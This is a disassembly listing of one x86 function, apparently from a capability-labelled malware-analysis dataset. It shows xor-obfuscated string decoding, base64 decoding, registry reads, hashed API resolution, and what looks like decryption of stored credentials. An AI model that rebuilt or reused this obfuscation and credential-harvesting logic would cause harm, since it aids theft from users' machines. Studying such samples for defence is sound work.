Function at 0x421550
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x458
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x58], 0x77ea0997
mov dword [esp + 0x5c], 0x73d375d9
mov dword [esp + 0x60], 0x7f2c71e5
mov dword [esp + 0x64], 0x7be27dd1
mov dword [esp + 0x68], 0x676679d5
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x13
ja 0x421612
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x58]
lea edx, [eax + ecx]
add eax, 0x3e
and eax, ecx
sub edx, eax
add edx, 0x33e9fb3e
mov ecx, edx
xor ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
mov ecx, eax
xor ecx, 0x36
and eax, 0x49
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x58], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x14
jb 0x4215c0
lea edi, [esp + 0x58]
lea ecx, [esp + 0x3c]
push edi
call fcn.0043a230
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447500]
lea ecx, [esp + 0x3c]
push 0x410
call fcn.0043a480
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447508]
lea ecx, [esp + 0x3c]
call fcn.0043a610
mov eax, ebx
add esp, 0x458
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x58], 0x96ffa09d
mov dword [esp + 0x5c], 0xb88ef598
mov dword [esp + 0x60], 0x8cb58fe9
mov dword [esp + 0x64], 0x93ba8aed
mov dword [esp + 0x68], 0xb8e7ee92
mov dword [esp + 0x6c], 0xbbdceae5
mov dword [esp + 0x70], 0xbeb1dab6
mov dword [esp + 0x74], 0xb2dbbca7
mov dword [esp + 0x78], 0xdaa8a2ae
mov dword [esp + 0x7c], 0xaac7cda9
mov dword [esp + 0x80], 0x7d6c9c9
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2b
ja 0x42170b
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x58]
lea edx, [eax + ecx]
add eax, 0xca
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xd4836aca
mov dword [esp + 8], edx
mov eax, dword [esp + 8]
add al, 0xe
mov ecx, dword [esp]
mov byte [esp + ecx + 0x58], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2c
jb 0x4216d0
lea eax, [esp + 0x30]
lea ecx, [esp + 0x3c]
push 0
push 0x2b
push edi
push eax
call fcn.0043aae0
mov ebp, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x447510]
mov eax, ebx
sub eax, ebp
sar eax, 2
imul eax, eax, 0x421
push eax
call fcn.00408680
add esp, 4
mov dword [esp + 0x2c], 0
xor ecx, ecx
cmp ebp, ebx
setne cl
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x4c], ebx
jmp dword [ecx*4 + 0x447518]
add ebp, 4
xor eax, eax
cmp ebp, ebx
setne al
jmp dword [eax*4 + 0x447518]
mov esi, dword [ebp]
push 0x400
push 0
push edi
call fcn.00408820
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push edi
push esi
call fcn.0043a950
cmp eax, 0xc0000000
setae al
cmp dword [esp + 8], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447528]
mov eax, 1
jmp dword [eax*4 + 0x447530]
xor eax, eax
jmp dword [eax*4 + 0x447530]
mov byte [esp + 0x457], 0
movzx eax, byte [esp + 0x58]
xor edx, edx
test al, al
je 0x421811
mov ecx, edi
nop
nop
cmp al, 0x2e
je 0x42180f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x421800
jmp 0x421811
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x447538]
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 0x14], edx
je 0x421841
mov ecx, edx
cmp al, 0x2e
je 0x42183f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x421830
jmp 0x421841
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 0x14]
jmp dword [eax*4 + 0x447540]
mov edx, esi
sub edx, ecx
mov eax, edx
and eax, 0xfffffffc
mov ecx, edx
and ecx, 3
mov edi, edx
or edi, 3
imul edi, ecx
xor ecx, 3
imul ecx, eax
add edi, ecx
shr edi, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x421882
cmp eax, 0x2e
jne 0x421883
dec edi
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x1c], edx
mov dword [esp + 0x54], ebp
je 0x42189e
cmp eax, 0x2e
jne 0x42189f
dec edi
mov dword [esp + 0x50], edi
lea eax, [edi + 1]
push eax
call fcn.00408680
add esp, 4
mov dword [esp + 0x20], eax
cmp esi, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
je 0x4219aa
xor edx, edx
mov esi, 2
jmp 0x4218e8
mov ecx, edi
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
mov edx, ebp
cmp esi, ecx
mov esi, eax
mov edi, ecx
jae 0x4219aa
mov dword [esp + 0x24], edx
mov ebp, dword [esp + 0x14]
movzx eax, byte [ebp + esi - 2]
push eax
call fcn.00418c70
add esp, 4
mov ebx, eax
movzx eax, byte [ebp + esi - 1]
push eax
call fcn.00418c70
mov edx, dword [esp + 0x28]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ebx, [edx + 1]
mov ecx, dword [esp + 0x20]
mov byte [ecx + edx], ah
cmp esi, edi
jae 0x4218d0
mov byte [esp + 0x13], al
movzx eax, byte [ebp + esi]
push eax
call fcn.00418c70
mov ecx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x4218d4
movzx edx, byte [esp + 0x13]
shl dl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, dl
mov edx, dword [esp + 0x24]
lea ebp, [edx + 2]
mov edi, dword [esp + 0x20]
mov byte [edi + edx + 1], al
lea eax, [esi + 1]
cmp eax, ecx
jae 0x4218d4
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00418c70
add esp, 4
cmp al, 0x40
je 0x4219a1
shl bl, 6
add al, bl
mov edx, dword [esp + 0x24]
mov ecx, edx
and ecx, 1
or ebp, 1
add ebp, ecx
mov byte [edi + edx + 2], al
mov ecx, dword [esp + 0x1c]
jmp 0x4218d4
mov eax, dword [esp + 0x50]
mov esi, dword [esp + 0x20]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x447548]
push esi
call fcn.00408690
add esp, 4
push ebx
call fcn.00401ac0
add esp, 4
mov esi, eax
xor eax, eax
test esi, esi
setne al
lea edi, [esp + 0x58]
mov ebp, dword [esp + 0x54]
jmp dword [eax*4 + 0x447550]
jmp 0x421b49
jmp dword [0x44755c]
mov dword [esp + 8], 0xb7581417
mov word [esp + 0xc], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x421a5d
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 8]
lea edx, [eax + 0xde]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xeb2919de
mov dword [esp], eax
mov eax, dword [esp]
add al, 0xaa
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 8], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x421a20
lea eax, [esp + 8]
push eax
push esi
call fcn.00401880
add esp, 8
jmp case.0x42184c.7
lea eax, [esp + 8]
push eax
push esi
call fcn.00401880
add esp, 8
jmp dword [0x447564]
mov dword [esp + 8], 0xb7581417
mov word [esp + 0xc], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x421a70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 8]
lea edx, [eax + 0xde]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xeb2919de
mov dword [esp], eax
mov eax, dword [esp]
add al, 0xaa
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 8], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x421ab0
jmp 0x421a70
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447568]
mov edx, dword [esp + 0x18]
jmp 0x421b23
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 0x18]
je 0x421b1b
inc eax
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x421b10
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x58]
test al, al
je 0x421b3b
lea ecx, [esp + 0x59]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x421b30
mov byte [edx], 0xa
inc edx
mov dword [esp + 0x18], edx
mov al, 1
mov dword [esp + 0x2c], eax
push ebx
call fcn.00402070
add esp, 4
add ebp, 4
xor eax, eax
mov ebx, dword [esp + 0x4c]
cmp ebp, ebx
setne al
jmp dword [eax*4 + 0x447518]
mov ebx, dword [esp + 0x2c]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447520]
mov esi, dword [esp + 0x28]
jmp dword [0x447580]
and bl, 1
jmp dword [0x447588]
xor ebx, ebx
jmp dword [0x447588]
mov edi, dword [esp + 0x18]
mov byte [edi], 0
mov dword [esp + 0x58], 0xd3ded989
mov dword [esp + 0x5c], 0xd7a3aad5
mov dword [esp + 0x60], 0xd0d4d2d9
mov dword [esp + 0x64], 0x9eeeb297
mov dword [esp + 0x68], 0x8bade499
mov dword [esp + 0x6c], 0xe197e2ef
mov dword [esp + 0x70], 0xffe2a3e7
mov dword [esp + 0x74], 0x75e0
mov byte [esp + 0x78], 0
mov esi, dword [esp + 0x28]
sub edi, esi
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x20
ja 0x421c39
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x58]
lea edx, [eax + ecx]
add eax, 0x12
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xf5917a12
mov dword [esp + 8], edx
mov eax, dword [esp + 8]
add al, 0xa6
mov ecx, dword [esp]
mov byte [esp + ecx + 0x58], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x21
jb 0x421c00
lea eax, [esp + 0x58]
mov ecx, dword [esp + 0x46c]
push edi
push esi
push eax
call fcn.00409230
mov ebx, eax
jmp dword [0x447580]
push esi
call fcn.00408690
add esp, 4
and bl, 1
jmp dword [0x447588]
mov eax, dword [esp + 0x30]
test eax, eax
je case.0x42184c.18
cmp eax, dword [esp + 0x34]
je case.0x42184c.18
push eax
call fcn.00408690
add esp, 4
jmp case.0x42184c.18
jmp dword [0x447594]
mov eax, dword [esp + 0x30]
test eax, eax
je 0x421c80
cmp eax, dword [esp + 0x34]
je 0x421c80
push eax
call fcn.00408690
add esp, 4
jmp 0x421c80
int3
xor edx, edx
test eax, eax
sete dl
mov edi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x447610]
jmp dword [ecx*4 + 0x447598]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0xb8], 0xcf78c964
mov dword [ebp - 0xb4], 0xc379cd09
mov dword [ebp - 0xb0], 0xc771c179
mov dword [ebp - 0xac], 0xbb0cc570
mov dword [ebp - 0xa8], 0xbf12b911
mov dword [ebp - 0xa4], 0xb373bd01
mov dword [ebp - 0xa0], 0xb70eb177
mov dword [ebp - 0x9c], 0xab18b50d
mov dword [ebp - 0x98], 0xaf02a96d
mov dword [ebp - 0x94], 0xa311ad1b
mov dword [ebp - 0x90], 0xa712a11a
mov dword [ebp - 0x8c], 0x9b5ba50f
mov dword [ebp - 0x88], 0x9f5b992e
mov dword [ebp - 0x84], 0x93389d30
mov dword [ebp - 0x80], 0x970a9131
mov dword [ebp - 0x7c], 0x8b2f951e
mov dword [ebp - 0x78], 0x8f398924
mov dword [ebp - 0x74], 0x83278d18
mov dword [ebp - 0x70], 0x871b8121
mov word [ebp - 0x6c], 0x8584
lea eax, [ebp - 0x6a]
mov word [eax + 4], 0
mov dword [eax], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x53
ja 0x421e82
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ebp + ecx - 0xb8]
lea ecx, [edx + eax]
add ecx, 0x23e14032
add edx, 0x23e14032
mov edi, eax
not edi
or edi, edx
lea edx, [eax + edi]
inc edx
sub ecx, edx
mov eax, ecx
not eax
and eax, edx
not edx
and edx, ecx
sub edx, eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add al, 6
mov ecx, dword [ebp - 0x14]
mov byte [ebp + ecx - 0xb8], al
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, 0x54
jb 0x421e30
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0xb8]
push 0
push 0
push dword [ebp - 0x18]
push eax
push ecx
call fcn.0043f630
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x4475a0]
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x58]
call fcn.0043fa40
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4475c8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea eax, [ecx*2 + 2]
inc ecx
jns 0x421ee3
mov eax, 0xffffffff
push eax
call fcn.00408680
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x24]
mov dword [edx], 0x49d84bbb
mov dword [edx + 4], 0x45ca47c5
mov dword [edx + 8], 0x41d643db
mov dword [edx + 0xc], 0x7d8e7fd4
mov dword [edx + 0x10], 0x79f67be3
mov dword [edx + 0x14], 0x757677e0
mov dword [edx + 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x1b
ja 0x421f60
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [edx + ecx]
add eax, 0x8439bf13
xor eax, ecx
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0xa1
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x1c
jb case.default.0x421f77
push dword [ebp - 0x1c]
push edi
push 0
push edx
push dword [ebp - 0x58]
call fcn.00440060
add esp, 0x14
shr eax, 0x1f
mov esi, edi
jmp dword [eax*4 + 0x4475d0]
xor esi, esi
jmp dword [0x4475d8]
push edi
call fcn.00408690
add esp, 4
nop
mov edi, dword [ebp - 0x58]
mov dword [ebp - 0xb8], 0x707f7e7d
mov byte [ebp - 0xb4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, 4
ja 0x421ffd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0xb8]
mov edx, eax
and edx, 0xede72815
xor eax, 0x6de72815
lea eax, [eax + edx*2]
xor eax, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add al, 0x97
mov ecx, dword [ebp - 0x14]
mov byte [ebp + ecx - 0xb8], al
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, 5
jb 0x421fc0
mov ecx, dword [0x44bbd0]
test ecx, ecx
je case.default.0x422077
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x18], eax
xor eax, eax
mov edx, dword [0x44bbd4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edx + eax*8], 0x625b6034
je 0x422049
inc eax
cmp ecx, eax
jne 0x422020
jmp case.default.0x422077
mov eax, dword [case.0x421e9f.4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, 4
jmp 0x4220a5
mov eax, dword [edx + eax*8 + 4]
cmp eax, dword [ebp - 0x18]
je case.default.0x422077
push edi
push 1
push dword [0x44bbd8]
push eax
call fcn.0043c6e0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x4475e0]
mov edi, dword [ebp - 0x20]
push edi
call fcn.0043ecb0
add esp, 4
cmp dword [edi], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4475e8]
xor eax, eax
jmp 0x4220a5
mov eax, 2
mov ecx, dword [case.0x421f77.11]
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
cmp eax, 4
setl cl
jmp dword [ecx*4 + 0x447600]
sete al
movzx eax, al
mov edi, 0x20119
xor ecx, ecx
jmp dword [eax*4 + 0x447608]
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x447618]
jmp dword [0x447634]
mov eax, dword [case.0x421f77.23]
nop
nop
jmp eax
xor eax, eax
jmp 0x4234bb
add ebx, 4
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x447708]
mov edx, dword [ebx]
cmp dword [ebx + 0x18], 3
mov esi, 0
jne case.default.0x422132
mov esi, dword [ebx + 0x10]
test edx, edx
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447720]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], ebx
mov eax, esi
jmp dword [0x447728]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax], 0
lea eax, [eax + 1]
jne 0x422150
mov eax, esi
nop
nop
nop
nop
nop
nop
mov ebx, eax
inc eax
cmp byte [ebx], 0
jne case.0x422132.2
sub ebx, esi
inc ebx
shr ebx, 1
lea eax, [ebx + 1]
push eax
call fcn.00408680
add esp, 4
mov ecx, eax
mov eax, esi
jmp dword [0x447734]
movsx edx, byte [esi]
xor eax, eax
test edx, edx
setne al
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edi
jmp dword [eax*4 + 0x447738]
mov eax, dword [ebp - 0x1c]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [ebp - 0x28]
call fcn.00425560
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x34]
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x28], eax
cmp edi, eax
setne cl
jmp dword [ecx*4 + 0x447758]
shl ecx, 4
or ecx, edi
add esi, 2
mov eax, dword [ebp - 0x1c]
mov byte [eax], cl
inc eax
mov dword [ebp - 0x1c], eax
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x447738]
lea eax, [esi + 1]
mov dword [ebp - 0x3c], eax
mov ecx, edx
or ecx, 0x20
lea edi, [ecx - 0x61]
add ecx, 0xffffffa9
add edx, 0xffffffd0
cmp edx, 0xa
jb 0x422220
mov edx, 0xffffffff
cmp edi, 6
jb case.default.0x422232
mov ecx, edx
movsx edx, byte [esi + 1]
xor eax, eax
test dl, dl
setne al
jmp dword [eax*4 + 0x447740]
mov eax, dword [ebp - 0x1c]
mov byte [eax], cl
inc eax
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x3c]
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x447738]
jmp dword [0x447750]
mov edi, edx
or edi, 0x20
lea eax, [edi - 0x61]
add edi, 0xffffffa9
add edx, 0xffffffd0
cmp edx, 0xa
jb 0x42227e
mov edx, 0xffffffff
cmp eax, 6
jb 0x4221e0
mov edi, edx
jmp 0x4221e0
mov esi, dword [edi]
xor eax, eax
jmp dword [eax*4 + 0x447768]
add edi, 8
xor ecx, ecx
cmp edi, dword [ebp - 0x28]
setne cl
jmp dword [ecx*4 + 0x447758]
mov ecx, dword [edi + 4]
mov eax, ecx
shr eax, 0x1c
shl ecx, 4
or ecx, 1
xor eax, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x1c]
xor edx, edx
or ecx, eax
sete dl
jmp dword [edx*4 + 0x447760]
mov ecx, 1
jmp dword [ecx*4 + 0x447768]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447770]
mov edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x30]
jmp dword [0x447780]
mov eax, dword [ebp - 0x64]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 4], ecx
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42235e
mov edi, dword [ebp - 0xc0]
mov dword [edi], eax
mov dword [edi + 4], esi
mov ebx, dword [ebp - 0x50]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x6c625980
push dword [0x44bbdc]
call fcn.0043e3f0
add esp, 8
push ebx
push 1
push 0
push 0
push edi
push 0
push dword [ebp - 0x64]
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447778]
mov edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x30]
jmp dword [0x447780]
movzx eax, byte [esi]
test al, al
mov ebx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x20]
je 0x42238b
inc esi
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x422380
mov word [edi], 0x203a
add edi, 2
mov esi, dword [ebp - 0x50]
mov edx, dword [esi]
test edx, edx
je 0x4223d1
mov eax, dword [esi + 4]
mov ecx, edx
and ecx, 3
je 0x4223d5
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x4223b0
add edi, esi
mov ecx, edx
sub ecx, esi
mov dword [ebp - 0x20], edi
mov esi, edi
mov ebx, dword [ebp - 0x30]
jmp 0x4223da
mov esi, edi
jmp 0x422429
mov dword [ebp - 0x20], edi
mov ecx, edx
cmp edx, 4
mov edi, dword [ebp - 0x20]
jb 0x422429
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [edi + 4]
mov byte [edi + 3], dl
mov edi, esi
add ecx, 0xfffffffc
jne 0x4223f0
mov byte [esi], 0xa
inc esi
push 0xe050b307
push dword [0x44bbc4]
call fcn.0043e3f0
add esp, 8
mov ecx, dword [ebp - 0x50]
push dword [ecx + 4]
call eax
mov al, 1
mov dword [ebp - 0x24], eax
mov edi, esi
jmp dword [0x447780]
mov esi, dword [ebp - 0x2c]
jmp dword [0x447788]
push esi
call fcn.00408690
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408690
add esp, 4
jmp dword [0x447794]
mov eax, dword [case.0x422132.0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [ebp - 0x54]
jmp dword [0x4477a8]
mov ebx, dword [ebp - 0x48]
mov ecx, ebx
call fcn.004254c0
push ebx
call fcn.00408690
add esp, 4
jmp dword [0x4477b0]
push 0x60
push 3
push 0x120089
push esi
push dword [ebp - 0x18]
call fcn.0043eed0
add esp, 0x14
not eax
shr eax, 0x1f
mov ebx, dword [ebp - 0x34]
jmp dword [eax*4 + 0x447660]
jmp dword [0x44766c]
push 0
push edi
push dword [esi]
call fcn.0043f220
add esp, 0xc
nop
nop
nop
nop
nop
push 0
push edi
push dword [esi]
call fcn.0043f220
add esp, 0xc
jmp dword [0x447674]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447678]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.00408680
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x60], eax
push eax
push dword [esi]
call fcn.0043f300
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447680]
mov esi, dword [edi]
mov edi, dword [ebp - 0x60]
mov byte [edi + esi], 0
push 0x20
call fcn.00408680
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x5c], eax
mov ecx, eax
push esi
push edi
call fcn.00425170
movzx eax, al
jmp dword [eax*4 + 0x447688]
mov edx, dword [ebp - 0x4c]
mov dword [edx], 0x1fece6c3
mov dword [edx + 4], 0xd2dccc23
mov dword [edx + 8], 0xdfcbc79f
mov dword [edx + 0xc], 0xf491d82a
mov dword [edx + 0x10], 0xd6c3dc2c
mov dword [edx + 0x14], 0xdcddfc8b
mov dword [edx + 0x18], 0x37cc34cf
mov word [edx + 0x1c], 0xb5c7
mov dword [edx + 0x1e], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x21
ja 0x422610
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [edx + ecx]
add eax, 0xff05f89c
xor eax, ecx
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0xf4
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x22
jb 0x4225e0
mov ecx, dword [ebp - 0x5c]
push edx
call fcn.00425360
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447690]
mov eax, dword [case.0x421e9f.58]
nop
nop
nop
nop
jmp eax
mov esi, dword [ebp - 0x30]
jmp dword [0x4476c0]
mov edi, dword [ebp - 0x5c]
mov ecx, edi
call fcn.004254c0
push edi
call fcn.00408690
add esp, 4
jmp dword [0x4476c8]
jmp dword [0x4476c8]
push dword [ebp - 0x60]
call fcn.00408690
add esp, 4
mov eax, dword [esi]
mov dword [ebp - 0xb8], 0x707f7e7d
mov byte [ebp - 0xb4], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 4
ja 0x4226cf
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0xb8]
mov esi, ecx
and esi, 0xede72815
xor ecx, 0x6de72815
lea ecx, [ecx + esi*2]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add cl, 0x97
mov edx, dword [ebp - 0x14]
mov byte [ebp + edx - 0xb8], cl
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp ecx, 5
jb 0x422690
mov ecx, dword [0x44bbd0]
test ecx, ecx
je case.0x421e9f.48
mov edx, dword [ebp - 0xb8]
xor esi, esi
mov edi, dword [0x44bbd4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x422700
inc esi
cmp ecx, esi
jne 0x4226f0
jmp case.0x421e9f.48
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42273b
jmp dword [0x4476d0]
push dword [ebp - 0x18]
call fcn.00408690
add esp, 4
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x4476d8]
xor eax, eax
test esi, esi
jne 0x423469
jmp 0x4234bb
push eax
push 1
push dword [0x44bbd8]
push ecx
call fcn.0043c6e0
add esp, 0x10
jmp dword [0x4476d0]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x4476d8]
sub edi, esi
sar edi, 3
imul eax, edi, 0x421
push eax
call fcn.00408680
add esp, 4
mov edi, eax
mov eax, dword [0x44bbcc]
mov esi, dword [ebp - 0x48]
mov dword [esi], 0xf1a2ff9b
mov dword [esi + 4], 0xf557f341
mov dword [esi + 8], 0xc94af757
mov dword [esi + 0xc], 0xcd7acb8b
mov dword [esi + 0x10], 0xc18acf7c
mov dword [esi + 0x14], 0xc576c363
